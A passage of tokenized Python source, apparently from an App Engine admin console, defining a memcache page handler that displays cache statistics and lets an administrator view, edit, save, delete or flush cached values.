"url_", "+_", "'?", "queue", "='_", "+_", "self_", "._", "request_", "._", "get_", "(_", "'", "queue", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Memcache", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Show", "s", " ", "stats", " ", "abo", "ut", " ", "memc", "ache", " ", "and", " ", "query", " ", "form", " ", "to", " ", "get", " ", "values", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PATH_", "=_", "'/", "memc", "ache", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "TYPES_", "=_", "(_", "(_", "str_", ",_", "str_", ",_", "'", "String", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "unicode_", ",_", "unicode_", ",_", "'", "Unic", "ode", " ", "String", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "bool_", ",_", "lambda_", "value_", ":_", "Memcache", "Page", "Handler_", "._", "\\u", "To", "Bool_", "(_", "value_", ")_", ",_", "'", "Boo", "lean", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "int_", ",_", "int_", ",_", "'", "Integer", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "long_", ",_", "long_", ",_", "'", "Long", " ", "Integer", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "float_", ",_", "float_", ",_", "'", "Float", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "DEF", "AUL", "T", "\\u", "TYPES", "TR\\u", "FOR", "\\u", "NEW_", "=_", "'", "String", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Memcache", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "To", "Bool_", "(_", "string", "\\u", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Convert", " ", "string", " ", "to", " ", "boolean", " ", "value", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", "string", "\\u", "value", ":", " ", "A", " ", "string", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", "Boo", "lean", ".", " ", " ", "Tru", "e", " ", "if", " ", "string", "\\u", "value", " ", "is", " ", "\"", "true", "\",", " ", "Fal", "se", " ", "if", " ", "string", "\\u", "value", " ", "is", "\\", "10", ";", " ", " ", "\"", "fal", "se", "\".", " ", " ", "Thi", "s", " ", "is", " ", "case", "-", "inse", "nsitive", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Rai", "ses", ":", "\\", "10", ";", " ", " ", "Value", "Error", ":", " ", "string", "\\u", "value", " ", "not", " ", "\"", "true", "\"", " ", "or", " ", "\"", "fal", "se", "\".\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "string", "\\u", "value", "\\u", "low_", "=_", "string", "\\u", "value_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "string", "\\u", "value", "\\u", "low_", "not_", "in_", "(_", "'", "fal", "se", "'_", ",_", "'", "true", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "invalid", " ", "literal", " ", "for", " ", "boolean", ":", " ", "%", "s", "'_", "%_", "string", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "string", "\\u", "value", "\\u", "low_", "==_", "'", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Memcache", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Get", "Value", "And", "Type_", "(_", "self_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Fe", "tch", " ", "value", " ", "from", " ", "memc", "ache", " ", "and", " ", "detect", " ", "its", " ", "type", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", "key", ":", " ", "String", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", "(", "value", ",", " ", "type", "),", " ", "value", " ", "is", " ", "a", " ", "Pyth", "on", " ", "object", " ", "or", " ", "Non", "e", " ", "if", " ", "the", " ", "key", " ", "was", " ", "not", " ", "set", " ", "in", "\\", "10", ";", " ", " ", "the", " ", "cache", ",", " ", "type", " ", "is", " ", "a", " ", "string", " ", "descri", "bing", " ", "the", " ", "type", " ", "of", " ", "the", " ", "value", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "memcache_", "._", "get_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "pickle_", "._", "Unp", "ick", "ling", "Error_", ",_", "Attribute", "Error_", ",_", "EO", "FE", "rror_", ",_", "Import", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Index", "Error_", ")_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "'", "Fail", "ed", " ", "to", " ", "retrieve", " ", "value", " ", "from", " ", "cache", ":", " ", "%", "s", "'_", "%_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "msg_", ",_", "'", "error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", ",_", "self_", "._", "DEF", "AUL", "T", "\\u", "TYPES", "TR\\u", "FOR", "\\u", "NEW_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "type", "obj_", ",_", "\\u_", ",_", "types", "tr_", "in_", "self_", "._", "TYPES_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "value_", ",_", "type", "obj_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "types", "tr_", "=_", "'", "pickled", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "pprint_", "._", "pformat_", "(_", "value_", ",_", "indent_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "value_", ",_", "types", "tr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Memcache", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Set", "Value_", "(_", "self_", ",_", "key_", ",_", "type\\u_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Convert", " ", "a", " ", "string", " ", "value", " ", "and", " ", "store", " ", "the", " ", "result", " ", "in", " ", "memc", "ache", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", "key", ":", " ", "String", "\\", "10", ";", " ", " ", "type", "\\u", ":", " ", "String", ",", " ", "descri", "bing", " ", "what", " ", "type", " ", "the", " ", "value", " ", "shou", "ld", " ", "have", " ", "in", " ", "the", " ", "cache", ".", "\\", "10", ";", " ", " ", "value", ":", " ", "String", ",", " ", "will", " ", "be", " ", "convert", "ed", " ", "according", " ", "to", " ", "type", "\\u.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", "Result", " ", "of", " ", "memc", "ache", ".", "set", "(", "ket", ",", " ", "convert", "ed", "\\u", "value", ").", " ", " ", "Tru", "e", " ", "if", " ", "value", " ", "was", " ", "set", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Rai", "ses", ":", "\\", "10", ";", " ", " ", "Value", "Error", ":", " ", "Value", " ", "can", "'", "t", " ", "be", " ", "convert", "ed", " ", "according", " ", "to", " ", "type", "\\u.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "\\u_", ",_", "converter_", ",_", "types", "tr_", "in_", "self_", "._", "TYPES_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "types", "tr_", "==_", "type\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "converter_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Type", " ", "%", "s", " ", "not", " ", "support", "ed", ".'_", "%_", "type\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "memcache_", "._", "set_", "(_", "key_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Memcache", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Show", " ", "template", " ", "and", " ", "prepar", "e", " ", "stats", " ", "and", "/", "or", " ", "key", "+", "value", " ", "to", " ", "display", "/", "edit", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "=_", "{_", "'", "request", "'_", ":_", "self_", "._", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "'_", ":_", "self_", "._", "request_", "._", "get_", "(_", "'", "message", "'_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "edit_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "edit", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "key", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "edit_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", "=_", "edit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "show", "\\u", "stats", "'_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "show", "\\u", "value", "'_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "show", "\\u", "value", "form", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "types", "'_", "]_", "=_", "[_", "types", "tr_", "for_", "\\u_", ",_", "\\u_", ",_", "types", "tr_", "in_", "self_", "._", "TYPES_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "[_", "'", "show", "\\u", "stats", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "show", "\\u", "value", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "show", "\\u", "value", "form", "'_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "[_", "'", "show", "\\u", "stats", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "show", "\\u", "value", "form", "'_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "show", "\\u", "value", "'_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "[_", "'", "key", "'_", "]_", "=_", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "value", "'_", "]_", ",_", "values_", "[_", "'", "type", "'_", "]_", "=_", "self_", "._", "\\u", "Get", "Value", "And", "Type_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "key", "\\u", "exist", "s", "'_", "]_", "=_", "values_", "[_", "'", "value", "'_", "]_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "values_", "[_", "'", "type", "'_", "]_", "in_", "(_", "'", "pickled", "'_", ",_", "'", "error", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "[_", "'", "writ", "able", "'_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "[_", "'", "writ", "able", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "values_", "[_", "'", "show", "\\u", "stats", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "memc", "ache", "\\u", "stats_", "=_", "memcache_", "._", "get", "\\u", "stats_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "memc", "ache", "\\u", "stats_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "memc", "ache", "\\u", "stats_", "=_", "{_", "'", "hits", "'_", ":_", "0_", ",_", "'", "misses", "'_", ":_", "0_", ",_", "'", "byte", "\\u", "hits", "'_", ":_", "0_", ",_", "'", "items", "'_", ":_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bytes", "'_", ":_", "0_", ",_", "'", "oldest", "\\u", "item", "\\u", "age", "'_", ":_", "0_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "values_", "[_", "'", "stats", "'_", "]_", "=_", "memc", "ache", "\\u", "stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hit", "ratio_", "=_", "memc", "ache", "\\u", "stats_", "[_", "'", "hits", "'_", "]_", "*_", "100_", "/_", "(_", "memc", "ache", "\\u", "stats_", "[_", "'", "hits", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "memc", "ache", "\\u", "stats_", "[_", "'", "misses", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Zero", "Divis", "ion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hit", "ratio_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "values_", "[_", "'", "hit", "ratio", "'_", "]_", "=_", "hit", "ratio_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delta", "\\u", "t_", "=_", "datetime_", "._", "timedelta_", "(_", "seconds_", "=_", "memc", "ache", "\\u", "stats_", "[_", "'", "oldest", "\\u", "item", "\\u", "age", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "oldest", "\\u", "item", "\\u", "age", "'_", "]_", "=_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "-_", "delta", "\\u", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "generate_", "(_", "'", "memc", "ache", ".", "html", "'_", ",_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Memcache", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "urlencode_", "(_", "self_", ",_", "query_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Encode", " ", "a", " ", "dictionar", "y", " ", "int", "o", " ", "a", " ", "URL", " ", "query", " ", "string", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "In", " ", "contrast", " ", "to", " ", "url", "lib", " ", "this", " ", "encodes", " ", "unicode", " ", "character", "s", " ", "as", " ", "UT", "F8", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", "query", ":", " ", "Dict", "ionar", "y", " ", "of", " ", "key", "/", "value", " ", "pair", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", "String", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'&'_", "._", "join_", "(_", "'%", "s", "=", "%", "s", "'_", "%_", "(_", "urllib_", "._", "quote", "\\u", "plus_", "(_", "k_", "._", "encode_", "(_", "'", "utf", "8", "'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "urllib_", "._", "quote", "\\u", "plus_", "(_", "v_", "._", "encode_", "(_", "'", "utf", "8", "'_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "query_", "._", "iteritems_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Memcache", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Handle", " ", "modif", "ying", " ", "action", "s", " ", "and", "/", "or", " ", "redirec", "t", " ", "to", " ", "GET", " ", "page", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "next", "\\u", "param_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "request_", "._", "get_", "(_", "'", "action", ":", "flush", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "memcache_", "._", "flush", "\\u", "all_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "message", "'_", "]_", "=_", "'", "Cache", " ", "flush", "ed", ",", " ", "all", " ", "keys", " ", "dropped", ".'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "message", "'_", "]_", "=_", "'", "Flu", "shing", " ", "the", " ", "cache", " ", "fail", "ed", ".", " ", " ", "Ple", "ase", " ", "try", " ", "again", ".'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "request_", "._", "get_", "(_", "'", "action", ":", "display", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "key", "'_", "]_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "key", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "request_", "._", "get_", "(_", "'", "action", ":", "edit", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "edit", "'_", "]_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "key", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "request_", "._", "get_", "(_", "'", "action", ":", "delete", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "key", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "memcache_", "._", "delete_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "result_", "==_", "memcache_", "._", "DELET", "E", "\\u", "NET", "WORK", "\\u", "FAILURE_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "message", "'_", "]_", "=_", "(_", "'", "ERROR", ":", " ", "Network", " ", "fail", "ure", ",", " ", "key", " ", "\"%", "s", "\"", " ", "not", " ", "delete", "d", ".'_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "result_", "==_", "memcache_", "._", "DELET", "E", "\\u", "ITEM", "\\u", "MISSING", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "message", "'_", "]_", "=_", "'", "Key", " ", "\"%", "s", "\"", " ", "not", " ", "in", " ", "cache", ".'_", "%_", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "result_", "==_", "memcache_", "._", "DELET", "E", "\\u", "SUCCESS", "FU", "L_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "message", "'_", "]_", "=_", "'", "Key", " ", "\"%", "s", "\"", " ", "delete", "d", ".'_", "%_", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "message", "'_", "]_", "=_", "(_", "'", "Un", "know", "n", " ", "return", " ", "value", ".", " ", " ", "Key", " ", "\"%", "s", "\"", " ", "mig", "ht", " ", "still", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "exist", ".'_", "%_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "request_", "._", "get_", "(_", "'", "action", ":", "save", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "key", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "value", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "type\\u_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "type", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "next", "\\u", "param_", "[_", "'", "key", "'_", "]_", "=_", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "Set", "Value_", "(_", "key_", ",_", "type\\u_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "message", "'_", "]_", "=_", "'", "Key", " ", "\"%", "s", "\"", " ", "saved", ".'_", "%_", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "message", "'_", "]_", "=_", "'", "ERROR", ":", " ", "Fail", "ed", " ", "to", " ", "save", " ", "key", " ", "\"%", "s", "\".'_", "%_", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "param_", "[_", "'", "message", "'_", "]_", "=_", "'", "ERROR", ":", " ", "Una", "ble", " ", "to", " ", "encode", " ", "value", ":", " ", "%", "s", "'_", "%_", "e_", 